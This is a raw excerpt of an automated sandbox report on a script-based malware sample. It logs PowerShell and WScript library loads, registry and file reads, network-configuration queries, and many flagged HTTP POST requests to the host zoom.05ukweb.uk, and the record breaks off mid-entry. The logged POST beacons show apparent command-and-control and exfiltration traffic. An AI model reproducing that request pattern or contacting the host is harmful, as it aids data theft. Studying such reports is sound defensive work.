00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.M870d558a#\5f64880c86c98e7ddecdf28e61917307\Microsoft.Management.Infrastr (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-libraryloader-l1-2-0.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter msvcrt.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Manag (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter Microsoft.Management.Infrastructure.Native.Unmanaged.DLL (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter mi.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-processthreads-l1-1-0.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-handle-l1-1-0.dll (UID: 00000000-00006036) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Serv759bfb78#\2b185c0f47b7e9417ee580b326bea804\System.ServiceProcess.ni.dll (UID: 00000000-00006036) "wscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005276) "wscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005276) "wscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005276) "wscript.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005276) "wscript.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005276) "wscript.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00005276) "wscript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00005276) "wscript.exe" called "LoadLibrary" with a parameter WLDP.DLL (UID: 00000000-00005276) "wscript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00005276) "wscript.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005276) "wscript.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005276) "wscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003076) "wscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003076) "wscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003076) "wscript.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003076) "wscript.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003076) "wscript.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00003076) "wscript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00003076) "wscript.exe" called "LoadLibrary" with a parameter WLDP.DLL (UID: 00000000-00003076) "wscript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00003076) "wscript.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003076) "wscript.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00003076)50:T120b,"powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "powershell.exe" touched "Sync root manager" (Path: "HKCU\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "powershell.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "powershell.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "powershell.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "powershell.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "powershell.exe" touched "Custom Destination List" (Path: "HKCU\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}\TREATAS") "powershell.exe" touched "Start Menu Cache" (Path: "HKCU\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}\TREATAS") "powershell.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "powershell.exe" touched "Shortcut" (Path: "HKCU\CLSID\{00021401-0000-0000-C000-000000000046}\TREATAS") "powershell.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "powershell.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE") "powershell.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "powershell.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "powershell.exe" touched "Property Store over folder final" (Path: "HKCU\CLSID\{0340F119-A598-4ED9-B0AC-6F6A12D3E755}\TREATAS") "powershell.exe" touched "A collection of IUnknown objects that can be enumerated" (Path: "HKCU\CLSID\{2D3468C1-36A7-43B6-AC24-D3F02FD9607A}\TREATAS") "powershell.exe" touched "Known Folder Manager" (Path: "HKCU\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\TREATAS") "powershell.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\PROGID") "powershell.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "powershell.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "powershell.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSinkEx" (Path: "HKCU\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\TREATAS") "powershell.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSink" (Path: "HKCU\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\TREATAS") "wscript.exe" touched "VB Script Language" (Path: "HKCU\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}") "wscript.exe" touched "Constructor that allows hosts better control creating scriptlets" (Path: "HKCU\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\TREATAS") "wscript.exe" touched "Multi Language Support" (Path: "HKCU\CLSID\{275C23E2-3747-11D0-9FEA-00AA003F8646}\TREATAS") "wscript.exe" touched "Windows Script Host Shell Object" (Path: "HKCU\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\TREATAS") "wscript.exe" touched "Wbem Scripting Object Path" (Path: "HKCU\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\TREATAS") "wscript.exe" touched "WbemDefaultPathParser" (Path: "HKCU\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\TREATAS") "wscript.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "wscript.exe" touched "WBEM Scripting DateTime" (Path: "HKCU\CLSID\{47DFBE54-CF76-11D3-B38F-00105A1F473A}\TREATAS") "wscript.exe" touched "FileSystem Object" (Path: "HKCU\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\TREATAS") "wscript.exe" touched "Scripting.Dictionary" (Path: "HKCU\CLSID\{EE09B103-97E0-11CF-978F-00A02463E06F}\TREATAS") "wscript.exe" touched "WinHttpRequest Component version 5.1" (Path: "HKCU\CLSID\{2087C2F4-2CEF-4953-A8AB-66779B670495}\TREATAS")51:T721,"powershell.exe" reads file "C:\Users\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Searches\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Contacts\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Favorites\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Links\desktop.ini" "powershell.exe" reads file "C:\Users\%OSUSER%\Saved Games\desktop.ini" "wscript.exe" reads file "C:\Users\desktop.ini" "wscript.exe" reads file "C:\Users\Public\desktop.ini" "wscript.exe" reads file "C:\Users\Public\Desktop\desktop.ini" "wscript.exe" reads file "C:\ProgramData\Microsoft\Windows\Start Menu\desktop.ini" "wscript.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "wscript.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "wscript.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "wscript.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "wscript.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini"52:Tc41,"powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "PROFILENAMESERVER"; Value: "")53:T40b,Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003076.00000000.255416.0B942000.00000002.mdmp, 00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API "SetTimer" (Indicator: "SetTimer"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjectsEx"; Source: "00000000-00003076.00000001.257334.4ED25000.00000002.mdmp")54:Te3cc,Contains base64 string in header "POST" in header "POST /ft?topic=s HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Content-Type: application/x-www-form-urlencodedHost: zoom.05ukweb.ukContent-Length: 3Connection: Keep-Alive" Contains base64 string in header "Type" in header "POST /ft?topic=s HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Content-Type: application/x-www-form-urlencodedHost: zoom.05ukweb.ukContent-Length: 3Connection: Keep-Alive" Contains base64 string in header "form" in header "POST /ft?topic=s HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Content-Type: application/x-www-form-urlencodedHost: zoom.05ukweb.ukContent-Length: 3Connection: Keep-Alive" Contains base64 string in header "zoom" in header "POST /ft?topic=s HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Content-Type: application/x-www-form-urlencodedHost: zoom.05ukweb.ukContent-Length: 3Connection: Keep-Alive" Contains base64 string in header "Keep" in header "POST /ft?topic=s HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Content-Type: application/x-www-form-urlencodedHost: zoom.05ukweb.ukContent-Length: 3Connection: Keep-Alive" Contains base64 string in header "POST" in header "POST /ft?topic=v258&session=742298662&isbn=4504716 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "v258" in header "POST /ft?topic=v258&session=742298662&isbn=4504716 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "Keep" in header "POST /ft?topic=v258&session=742298662&isbn=4504716 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "AliveContent" in header "POST /ft?topic=v258&session=742298662&isbn=4504716 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "Type" in header "POST /ft?topic=v258&session=742298662&isbn=4504716 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "User" in header "POST /ft?topic=v258&session=742298662&isbn=4504716 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "5100Host" in header "POST /ft?topic=v258&session=742298662&isbn=4504716 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "zoom" in header "POST /ft?topic=v258&session=742298662&isbn=4504716 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "POST" in header "POST /ft?topic=v255&session=798383871&isbn=4504716 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "v255" in header "POST /ft?topic=v255&session=798383871&isbn=4504716 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "Keep" in header "POST /ft?topic=v255&session=798383871&isbn=4504716 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "AliveContent" in header "POST /ft?topic=v255&session=798383871&isbn=4504716 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "Type" in header "POST /ft?topic=v255&session=798383871&isbn=4504716 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "User" in header "POST /ft?topic=v255&session=798383871&isbn=4504716 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "5100Host" in header "POST /ft?topic=v255&session=798383871&isbn=4504716 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "zoom" in header "POST /ft?topic=v255&session=798383871&isbn=4504716 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "POST" in header "POST /ft?topic=v255&session=798383871&isbn=4516911 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "v255" in header "POST /ft?topic=v255&session=798383871&isbn=4516911 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "Keep" in header "POST /ft?topic=v255&session=798383871&isbn=4516911 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "AliveContent" in header "POST /ft?topic=v255&session=798383871&isbn=4516911 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "Type" in header "POST /ft?topic=v255&session=798383871&isbn=4516911 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "User" in header "POST /ft?topic=v255&session=798383871&isbn=4516911 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "5100Host" in header "POST /ft?topic=v255&session=798383871&isbn=4516911 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "zoom" in header "POST /ft?topic=v255&session=798383871&isbn=4516911 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "POST" in header "POST /ft?topic=v258&session=742298662&isbn=4522887 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "v258" in header "POST /ft?topic=v258&session=742298662&isbn=4522887 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "Keep" in header "POST /ft?topic=v258&session=742298662&isbn=4522887 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "AliveContent" in header "POST /ft?topic=v258&session=742298662&isbn=4522887 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "Type" in header "POST /ft?topic=v258&session=742298662&isbn=4522887 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "User" in header "POST /ft?topic=v258&session=742298662&isbn=4522887 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "5100Host" in header "POST /ft?topic=v258&session=742298662&isbn=4522887 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "zoom" in header "POST /ft?topic=v258&session=742298662&isbn=4522887 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "POST" in header "POST /ft?topic=v255&session=798383871&isbn=4529049 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 5100Host: zoom.05ukweb.uk" Contains base64 string in header "v255" in header "POST /ft?topic=v255&session=798383871&isbn=4529049 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: 